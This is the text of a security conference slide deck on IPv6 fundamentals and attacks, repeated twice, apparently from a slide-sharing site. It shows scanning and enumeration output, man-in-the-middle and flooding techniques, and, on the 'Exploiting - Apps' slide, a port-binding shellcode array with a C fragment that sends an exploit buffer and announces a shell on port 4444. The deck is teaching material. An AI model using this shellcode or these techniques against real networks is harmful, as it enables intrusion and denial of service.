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IPv6 Fundamentals & Securities


             Don Anto
           IPSECS.COM
Who?

•   Don Anto
•   Information security manager
•   JNCIP-SEC, GSEC, GCIH, GCIA, GPEN, TOGAF
•   A dead security researcher
•   Involve in security field for almost 10 years
•   Genius evil thinker; professional troublemaker
•   @djantoxz
IPv6 - Why?

•   Analog to digital convergence (E.G: Voice over IP)
•   The use of virtualization (E.G: Cloud)
•   Embedded devices (Smart phone, RFID) networking
•   All increase the needs of unique IP Address
•   So, more IP Address spaces are required!
•   Finally, IPv4 Address Exhaustion
IPv6 - What?

• The latest version of Internet Protocol (IP), and is intended to
  replace IPv4
• 128 bit IP Addressing, instead of 32 bit, to multiply IP address
  space
• IPv4 = 232 (4.294.967.296) >< IPv6 2128 (3.4×1038)
• Not using dot decimal anymore, otherwise hexadecimal with
  colon is used
• E.G:
   • 2001:2c0:cc00:6a01:2d0:b7ff:fe75:d092
   • 2001:470:0:64::2
   • fe80::1
IPv6 Fundamentals




                                                  Source: Fernando Gont Presentation


• IPv6 header, 40 Bytes Fixed Length
• Source address 16 bytes, destination address 16 bytes
• 8 bytes for version, traffic class, flow label, payload length, next header, & hop limit
IPv6 Fundamentals
                                     • IPv6 Address Type:
                                        •   Loopback
                                        •   Unspecified
                                        •   Multicast
                                        •   Anycast
                                        •   Local unicast
                                        •   Global unicast
                                     • Subneting
                                     • Routing
Source: Fernando Gont Presentation
v4 >< v6




Source: Fernando Gont Presentation
v4 to v6

• Dual-Stack system to support IPv4 & IPv6 concurrently
• Tunneling mechanism to encapsulate IPv6 inside IPv4
   • 6to4, 6in4, Teredo, ISATAP
• Network Address Translation (NAT)
   • Network Address Translation – Protocol Translation (NAT-PT)
   • Network Address Translation – IPv6 IPv4 (NAT-64)
• Free IPv6 Tunnel Broker?
Security Issues

•   Large space of IPv6 address (enumeration, scanning, managing)
•   The use of tunneling? The use of dual-stack networking?
•   Weakness in IPv6 itself? (protocol level vulnerabilities)
•   Weakness of Application ran on IPv6
Enumeration
•   Discovery through multicast address (FF02::1)
                                                                             ipv6lab ->./alive6 eth4
•   Discovery through ICMPv6 Echo Request
                                                                             Alive: dead:beaf::3
•   Discovery through DNS Query (A >< AAAA)                                  Alive: dead:beaf::1
•   Discovery through SNMP Query                                             Found 2 systems alive
•   Google helps us to find IPv6 domains
•   The presence of IPAM may be help

                           ipv6lab->host -t A www.jp.freebsd.org
                           www.jp.freebsd.org has address 119.245.129.228
                           ipv6lab->host -t AAAA www.jp.freebsd.org
                           www.jp.freebsd.org has IPv6 address 2001:2c0:cc00:6a01:2d0:b7ff:fe75:d092


    ipv6lab->ping6 -I eth4 ff02::1
    PING ff02::1(ff02::1) from fe80::a00:27ff:fe39:6f0a eth4: 56 data bytes
    64 bytes from fe80::a00:27ff:fe39:6f0a: icmp_seq=1 ttl=64 time=0.034 ms
    64 bytes from fe80::a00:27ff:fe96:da90: icmp_seq=1 ttl=64 time=1.70 ms (DUP!)
    64 bytes from fe80::a00:27ff:fe6c:ea37: icmp_seq=1 ttl=64 time=2.58 ms (DUP!)
    ipv6lab->ip -6 neigh show
    fe80::a00:27ff:fe96:da90 dev eth4 lladdr 08:00:27:96:da:90 REACHABLE
    fe80::a00:27ff:fe6c:ea37 dev eth4 lladdr 08:00:27:6c:ea:37 REACHABLE
ipv6lab->nmap -6 -sV -PN -T4 dead:beaf::3

  Starting Nmap 5.00 ( http://nmap.org ) at 2013-01-15 15:50 WIT
  Interesting ports on dead:beaf::3:
  Not shown: 999 closed ports
  PORT STATE SERVICE VERSION
  22/tcp open ssh OpenSSH 5.9 (protocol 2.0)
                                                                   Scanning
  ipv6lab->nmap -sV -PN -T4 192.168.137.103

  Starting Nmap 5.00 ( http://nmap.org ) at 2013-01-15 15:50 WIT
  Interesting ports on 192.168.137.103:
  Not shown: 998 closed ports
  PORT STATE SERVICE VERSION
  21/tcp open ftp?
  22/tcp open ssh OpenSSH 5.9 (protocol 2.0)
  MAC Address: 08:00:27:6C:EA:37 (Cadmus Computer Systems)


v4 to v6 proxy is usually
helpful E.G: Socat
apt-get install socat

                        • Port Scanning (Tools with IPv6 support)
                        • Vulnerability Scanning (Tools with IPv6 support)
Perimeter Defense Bypass

• Does Firewall protect both IPv4 and IPv6 network?
• Does IDS/IPS protect both IPv4 and IPv6 network?
• TEREDO tunneling can be used to bypass NAT and to
  compromise internal network
• The use of dual stack and tunneling mandates the protection
  for IPv4 and IPv6
Perimeter Defense Bypass




• IPv4 is well governed by firewall using NAT or policies
• Poor firewall configuration is potentially used to bypass access using IPv6 network to DMZ
• Even worse, someone may directly access the internal network from internet
Exploiting - Protocols

• IPv6 also designed to increase security of IPv4, unfortunately
  there is no significant improvement
• Some problems in IPv4 is still persistent in IPv6
• Man In The Middle Attack
• Denial of Services Attack
• More and more 
Man In The Middle
 •   Spoofed ICMP Neighbor Advertisement (replacing ARP in v4)
 •   Spoofed ICMP Router Advertisement
 •   Spoofed ICMP Redirect or ICMP Toobig to implant routing
 •   Rogue DHCPv6 Server (replacing DHCP server in v4)
 •   More and more 




Source Image: OWASP website



                                                    Used to help packet sniffing
Denial of Services
                                                                                        anto# ifstat -b
                                                                                           eth0
 •   Traffic flooding with ICMPv6 RA, NA, NS, MLD, Smurfing                             Kbps in Kbps out
                                                                                        9851.48 1.08
 •   Prevent new IPv6 address with DAD                                                  10244.34 0.95
 •   CPU Exhaustion with ICMPv6 NS and a lot of crypto stuff                            10313.33 0.95
 •   Routing loop attack utilizes automatic tunneling                                   9165.56 0.95
 •   ICMP attack against TCP to tear down BGP session                                   9358.11 0.95
                                                                                        10165.01 0.95
                                                                                        9802.98 0.95
                                                                                        9353.34 0.95

anto# tcpdump -n -i eth0 dst host dead:beaf::3

20:39:48.442267 IP6 ff02::1 > dead:beaf::3: ICMP6, echo request, seq 48879, length 24
20:39:48.442290 IP6 ff02::1 > dead:beaf::3: ICMP6, echo request, seq 48879, length 24
20:39:48.442314 IP6 ff02::1 > dead:beaf::3: ICMP6, echo request, seq 48879, length 24
20:39:48.442337 IP6 ff02::1 > dead:beaf::3: ICMP6, echo request, seq 48879, length 24
20:39:48.442585 IP6 ff02::1 > dead:beaf::3: ICMP6, echo request, seq 48879, length 24

4700 packets captured
4884 packets received by filter
93 packets dropped by kernel
Exploiting - Apps
      char shellcode[] = /*Portbind @ 4444*/
      "xd9xccxbdx59x34x55x97xd9x74x24xf4x5ax29xc9"               •   Buffer Overflow
      "xb1x17x31x6ax19x83xc2x04x03x6ax15xbbxc1x64"
      "x4cx68x69xd4x18x84xe4x3bxb6xfexaex76xc7x68"
                                                                               •   Remote Format String
      "xd7xdbx9axc6xbax89x48x80x52x3fx31x2axcbx35"               •   Off-By-One
      "xc9x3bxeax20xd5x6axbbx3dx04xcfx29x58x9fx02"               •   Web App Attacks
      "x2dx14x79x2fx2ax98x06x1dx61x74x8ex40xc6xc8"
                                                                               •   More Attacks?!
      "xf6x4fx49xbbxaex25x75xe4x9dx39xc0x6dxe6x51"
      "xfcxa2x65xc9x6ax92xebx60x05x65x08x22x8axfc"               •   There’s no big difference
      "x2ex72x27x32x30";                                                  •   Socket programming &
                                                                                   shellcodes

                                    for(AI=AddrInfo;AI!=NULL;AI=AI->ai_next){
                                       if((s=socket(AI->ai_family,AI->ai_socktype,AI->ai_protocol))<0){
v4 to v6 proxy is usually                printf("can't create socketn");
                                         exit(0);
helpful E.G: Socat                     }
apt-get install socat                  connect(s,AI->ai_addr,AI->ai_addrlen);
                                       send(s,buffer,len,0);
                                       printf("Check your shell on %s TCP port 4444n",argv[1]);
                                     }
DEMO
Discussion
Thank You

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IPv6 Fundamentals & Securities

  • 1. IPv6 Fundamentals & Securities Don Anto IPSECS.COM
  • 2. Who? • Don Anto • Information security manager • JNCIP-SEC, GSEC, GCIH, GCIA, GPEN, TOGAF • A dead security researcher • Involve in security field for almost 10 years • Genius evil thinker; professional troublemaker • @djantoxz
  • 3. IPv6 - Why? • Analog to digital convergence (E.G: Voice over IP) • The use of virtualization (E.G: Cloud) • Embedded devices (Smart phone, RFID) networking • All increase the needs of unique IP Address • So, more IP Address spaces are required! • Finally, IPv4 Address Exhaustion
  • 4. IPv6 - What? • The latest version of Internet Protocol (IP), and is intended to replace IPv4 • 128 bit IP Addressing, instead of 32 bit, to multiply IP address space • IPv4 = 232 (4.294.967.296) >< IPv6 2128 (3.4×1038) • Not using dot decimal anymore, otherwise hexadecimal with colon is used • E.G: • 2001:2c0:cc00:6a01:2d0:b7ff:fe75:d092 • 2001:470:0:64::2 • fe80::1
  • 5. IPv6 Fundamentals Source: Fernando Gont Presentation • IPv6 header, 40 Bytes Fixed Length • Source address 16 bytes, destination address 16 bytes • 8 bytes for version, traffic class, flow label, payload length, next header, & hop limit
  • 6. IPv6 Fundamentals • IPv6 Address Type: • Loopback • Unspecified • Multicast • Anycast • Local unicast • Global unicast • Subneting • Routing Source: Fernando Gont Presentation
  • 7. v4 >< v6 Source: Fernando Gont Presentation
  • 8. v4 to v6 • Dual-Stack system to support IPv4 & IPv6 concurrently • Tunneling mechanism to encapsulate IPv6 inside IPv4 • 6to4, 6in4, Teredo, ISATAP • Network Address Translation (NAT) • Network Address Translation – Protocol Translation (NAT-PT) • Network Address Translation – IPv6 IPv4 (NAT-64) • Free IPv6 Tunnel Broker?
  • 9. Security Issues • Large space of IPv6 address (enumeration, scanning, managing) • The use of tunneling? The use of dual-stack networking? • Weakness in IPv6 itself? (protocol level vulnerabilities) • Weakness of Application ran on IPv6
  • 10. Enumeration • Discovery through multicast address (FF02::1) ipv6lab ->./alive6 eth4 • Discovery through ICMPv6 Echo Request Alive: dead:beaf::3 • Discovery through DNS Query (A >< AAAA) Alive: dead:beaf::1 • Discovery through SNMP Query Found 2 systems alive • Google helps us to find IPv6 domains • The presence of IPAM may be help ipv6lab->host -t A www.jp.freebsd.org www.jp.freebsd.org has address 119.245.129.228 ipv6lab->host -t AAAA www.jp.freebsd.org www.jp.freebsd.org has IPv6 address 2001:2c0:cc00:6a01:2d0:b7ff:fe75:d092 ipv6lab->ping6 -I eth4 ff02::1 PING ff02::1(ff02::1) from fe80::a00:27ff:fe39:6f0a eth4: 56 data bytes 64 bytes from fe80::a00:27ff:fe39:6f0a: icmp_seq=1 ttl=64 time=0.034 ms 64 bytes from fe80::a00:27ff:fe96:da90: icmp_seq=1 ttl=64 time=1.70 ms (DUP!) 64 bytes from fe80::a00:27ff:fe6c:ea37: icmp_seq=1 ttl=64 time=2.58 ms (DUP!) ipv6lab->ip -6 neigh show fe80::a00:27ff:fe96:da90 dev eth4 lladdr 08:00:27:96:da:90 REACHABLE fe80::a00:27ff:fe6c:ea37 dev eth4 lladdr 08:00:27:6c:ea:37 REACHABLE
  • 11. ipv6lab->nmap -6 -sV -PN -T4 dead:beaf::3 Starting Nmap 5.00 ( http://nmap.org ) at 2013-01-15 15:50 WIT Interesting ports on dead:beaf::3: Not shown: 999 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.9 (protocol 2.0) Scanning ipv6lab->nmap -sV -PN -T4 192.168.137.103 Starting Nmap 5.00 ( http://nmap.org ) at 2013-01-15 15:50 WIT Interesting ports on 192.168.137.103: Not shown: 998 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp? 22/tcp open ssh OpenSSH 5.9 (protocol 2.0) MAC Address: 08:00:27:6C:EA:37 (Cadmus Computer Systems) v4 to v6 proxy is usually helpful E.G: Socat apt-get install socat • Port Scanning (Tools with IPv6 support) • Vulnerability Scanning (Tools with IPv6 support)
  • 12. Perimeter Defense Bypass • Does Firewall protect both IPv4 and IPv6 network? • Does IDS/IPS protect both IPv4 and IPv6 network? • TEREDO tunneling can be used to bypass NAT and to compromise internal network • The use of dual stack and tunneling mandates the protection for IPv4 and IPv6
  • 13. Perimeter Defense Bypass • IPv4 is well governed by firewall using NAT or policies • Poor firewall configuration is potentially used to bypass access using IPv6 network to DMZ • Even worse, someone may directly access the internal network from internet
  • 14. Exploiting - Protocols • IPv6 also designed to increase security of IPv4, unfortunately there is no significant improvement • Some problems in IPv4 is still persistent in IPv6 • Man In The Middle Attack • Denial of Services Attack • More and more 
  • 15. Man In The Middle • Spoofed ICMP Neighbor Advertisement (replacing ARP in v4) • Spoofed ICMP Router Advertisement • Spoofed ICMP Redirect or ICMP Toobig to implant routing • Rogue DHCPv6 Server (replacing DHCP server in v4) • More and more  Source Image: OWASP website Used to help packet sniffing
  • 16. Denial of Services anto# ifstat -b eth0 • Traffic flooding with ICMPv6 RA, NA, NS, MLD, Smurfing Kbps in Kbps out 9851.48 1.08 • Prevent new IPv6 address with DAD 10244.34 0.95 • CPU Exhaustion with ICMPv6 NS and a lot of crypto stuff 10313.33 0.95 • Routing loop attack utilizes automatic tunneling 9165.56 0.95 • ICMP attack against TCP to tear down BGP session 9358.11 0.95 10165.01 0.95 9802.98 0.95 9353.34 0.95 anto# tcpdump -n -i eth0 dst host dead:beaf::3 20:39:48.442267 IP6 ff02::1 > dead:beaf::3: ICMP6, echo request, seq 48879, length 24 20:39:48.442290 IP6 ff02::1 > dead:beaf::3: ICMP6, echo request, seq 48879, length 24 20:39:48.442314 IP6 ff02::1 > dead:beaf::3: ICMP6, echo request, seq 48879, length 24 20:39:48.442337 IP6 ff02::1 > dead:beaf::3: ICMP6, echo request, seq 48879, length 24 20:39:48.442585 IP6 ff02::1 > dead:beaf::3: ICMP6, echo request, seq 48879, length 24 4700 packets captured 4884 packets received by filter 93 packets dropped by kernel
  • 17. Exploiting - Apps char shellcode[] = /*Portbind @ 4444*/ "xd9xccxbdx59x34x55x97xd9x74x24xf4x5ax29xc9" • Buffer Overflow "xb1x17x31x6ax19x83xc2x04x03x6ax15xbbxc1x64" "x4cx68x69xd4x18x84xe4x3bxb6xfexaex76xc7x68" • Remote Format String "xd7xdbx9axc6xbax89x48x80x52x3fx31x2axcbx35" • Off-By-One "xc9x3bxeax20xd5x6axbbx3dx04xcfx29x58x9fx02" • Web App Attacks "x2dx14x79x2fx2ax98x06x1dx61x74x8ex40xc6xc8" • More Attacks?! "xf6x4fx49xbbxaex25x75xe4x9dx39xc0x6dxe6x51" "xfcxa2x65xc9x6ax92xebx60x05x65x08x22x8axfc" • There’s no big difference "x2ex72x27x32x30"; • Socket programming & shellcodes for(AI=AddrInfo;AI!=NULL;AI=AI->ai_next){ if((s=socket(AI->ai_family,AI->ai_socktype,AI->ai_protocol))<0){ v4 to v6 proxy is usually printf("can't create socketn"); exit(0); helpful E.G: Socat } apt-get install socat connect(s,AI->ai_addr,AI->ai_addrlen); send(s,buffer,len,0); printf("Check your shell on %s TCP port 4444n",argv[1]); }
  • 18. DEMO